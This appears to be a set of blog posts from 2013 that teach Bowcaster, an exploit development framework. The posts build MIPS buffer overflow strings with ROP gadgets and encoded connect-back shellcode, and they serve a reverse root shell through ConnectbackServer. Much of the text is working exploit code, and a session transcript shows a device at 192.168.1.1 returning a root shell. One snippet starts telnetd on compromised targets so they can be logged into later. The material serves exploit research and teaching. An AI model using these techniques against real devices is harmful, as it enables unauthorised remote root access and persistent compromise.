Thursday, April 25, 2013

Bowcaster's EmptyOverflowBuffer class (Tutorial Part 5)

In previous parts of the Bowcaster tutorial, I showed how to construct your buffer overflow using the OverflowBuffer class.  I also mentioned there is another class, EmptyOverflowBuffer, that I would explain later.  That class is going to be the topic of this post.

When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows.   The OverflowBuffer class works the way I think.  But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.

Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern.  You then start replacing parts of your buffer with things like ROP gadgets and shellcode.

Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like.  I couldn't reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.

OverflowBuffer and EmptyOverflowBuffer each have their advantages.  OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order.  I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.

If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.

Here's an example of creating an EmptyOverflowBuffer instance:


from bowcaster.development.overflowbuilder import EmptyOverflowBuffer
from bowcaster.common.support import LittleEndian

badchars=['\0',0x0d,'\n',0x20]
buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)

With this class, we have no need for the SectionCreator object, since there is no notion of "replacement sections".  Also note the optional 'max_length' parameter.  Omitting this parameter will mean you can grow your exploit buffer to arbitrary length.  If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.

There are three types of sections you can add: a string, a pattern section, or a ROP gadget.  You may add an arbitrary string using the add_string() method.  For example, you may want to append a long string of 'A's, or your shellcode string.

Adding a pattern section using add_pattern() creates pattern sequence of the specified length.  Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset.  This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.

Here's an example of what I mean:

>>> buf1.add_pattern(8)
>>> buf1.add_pattern(12)
>>> print buf1
Aa0Aa1Aa2Aa3Aa4Aa5Aa

>>> buf2.add_pattern(6)
>>> buf2.add_string("A"*8)
>>> buf2.add_pattern(6)
>>> print buf2
Aa0Aa1AAAAAAAA4Aa5Aa

Above, two buffers are created of length 20.  The second one has a section of 8 'A's in the middle.  However, the sub-sequence 'a5Aa' is at the end of both.  This consistent sequence alignment helps with exploit debugging.

To add a ROP gadget, use the add_rop_gadget() method.  You can specify and optional 'base_address=' parameter if the base address for this gadget's library is different than the default base provided to the constructor.

Another thing to note about this API is that pattern sections are specified in terms of length, not offset.  The offset is implicit; it is simply the buffer's current length.  So if you know offsets into your buffer from where data will get loaded into various registers, you'll need to compute the length of the pattern filler's in between.

Here's an example:


#first function epilogue
ra=528

#second function epilogue
s0=620
s2=628

buf.add_pattern(ra) #$ra loaded from offset 528
buf.add_rop_gadget(0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")

buf.add_pattern(s0-buf.len())
buf.add_rop_gadget(0x506c0,
            description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")

buf.add_pattern(s2-buf.len())
buf.add_rop_gadget(0x427a4,
            description="[$s2] placeholder, derefed without crashing.")

In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded.  We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers.  This differs from the combination of SectionCreator and OverflowBuffer where you don't specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.

There is an advantage to this method.  This API only allows you to to append sections one after another, so there's no way to have overlapping sections.  As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.

Adding a payload is essentially the same.  Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here's an example:


payload=ConnectbackPayload(CALLBACK_IP,LittleEndian)
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)

buf.add_pattern(shellcode_return-buf.len())
buf.add_string(encoded_payload.shellcode,
            description="encoded connect back payload")


The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.

Monday, April 08, 2013

Buffer Overflows with Bowcaster Part 4

In part 1 of the Bowcaster tutorial I showed how to generate an overflow string with the OverflowBuffer class. In part 2, I showed how to populate your your overflow string with ROP gadgets. In part 3, I showed how to add Bowcaster's connect-back payload for MIPS Linux to your overflow string. I also showed how to encode your payload using Bowcaster's MIPS Linux-specific XOR encoder in order to sanitize restricted bytes.

Part 3 ended by using a netcat listener to serve a connect-back root shell.  In this part I'll show how to use one of Bowcaster's server modules to replace netcat.

Bowcaster provides a couple of server modules to receive connections from connect-back payloads.  The one we're interested in for this tutorial is imaginatively called ConnectbackServer.

Import it into your exploit code like so:


from bowcaster.servers.connectback_server import ConnectbackServer

In part 3, we create a payload object by first creating a ConnectbackHost object and passing it to ConnectbackPayload().  Creating the server works the same way.  Using the same host for both payload and server ensure the payload connects back to the right IP address and port.


connectback_host=ConnectbackHost(CALLBACK_IP) #default port is 8080
connectback_server=ConnectbackServer(connectback_host,startcmd="/bin/sh -i")
payload=ConnectbackPayload(connectback_host,LittleEndian)
#create string section from payload.shellcode,
#and instantiate buffer overflow
#See part 3.


The ConnectBack server class provides some features that you don't get with a simple netcat listener.  First, it gives you the ability to automatically execute a command on the target upon connection.  More on this in a bit.

More importantly, by forking into the background and operating asynchronously, ConnectbackServer gives you the ability to serve a connection right from your exploit script rather than having to fire up a listener in a separate session. For example:


#Start server
connectback_server.serve_connectback()

#Throw exploit
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((addr,port))
print("sending exploit.")
sock.send(str(buf))
sock.close()

#Wait for connect-back server to finish up.
connectback_server.wait()

Here it is in action:


zach@zolan:~/code/bowcaster/doc/examples (0) $ ./overflow_example_1.py 192.168.1.1 9999
 [@] bad char count: 4
 [@] No bad bytes in decoder stub.
 [@] length of encoded shellcode, including stub is: 304
 [@] Length of overflow: 1300
Listening on port 8080

Waiting for incoming connection.

sending exploit.
Target has phoned home.



BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /proc/version
cat /proc/version
Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#

Like I mentioned above, the ConnectbackServer class takes an optional 'startcmd' argument to its constructor.  This is useful in a few ways.  First, I like to use /bin/sh -i just because it looks nicer to have that familiar root '#'.  But you may want to issue a command to restart the exploited service, that way your target is automatically prepped for re-exploitation.

But, there's another optional argument to ConnectbackServer that, when combined with startcmd, is pretty cool.  You can optionally specify connectback_shell=False.  If you do this, then ConnectbackServer will not provide an interactive shell.  Instead it will send the start command if you provided one, and then immediately close the connection.  Why is this useful?  Say you wanted to exploit a list of ten targets and have them automatically prepped for interactive login whenever you're ready.  You could do:


server=ConnectbackServer(connectback_host,startcmd='/sbin/telnetd',connectback_shell=False)

By specifying startcmd='/bin/telnetd' and connectback_shell=False, you could have the target await your login via telnet at your convenience.

I hope this is useful.  Be sure to send me screenshots of some of your root prompts.

Crossbow is now Bowcaster

Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source, noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I left the original post as-is, save for an update note and a new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Here's the new Github project: https://github.com/zcutlip/bowcaster.git

I plan to update the existing tutorials accordingly, and hopefully get some new ones up in the next few days.

Thanks for your patience, and apologies the inconvenience.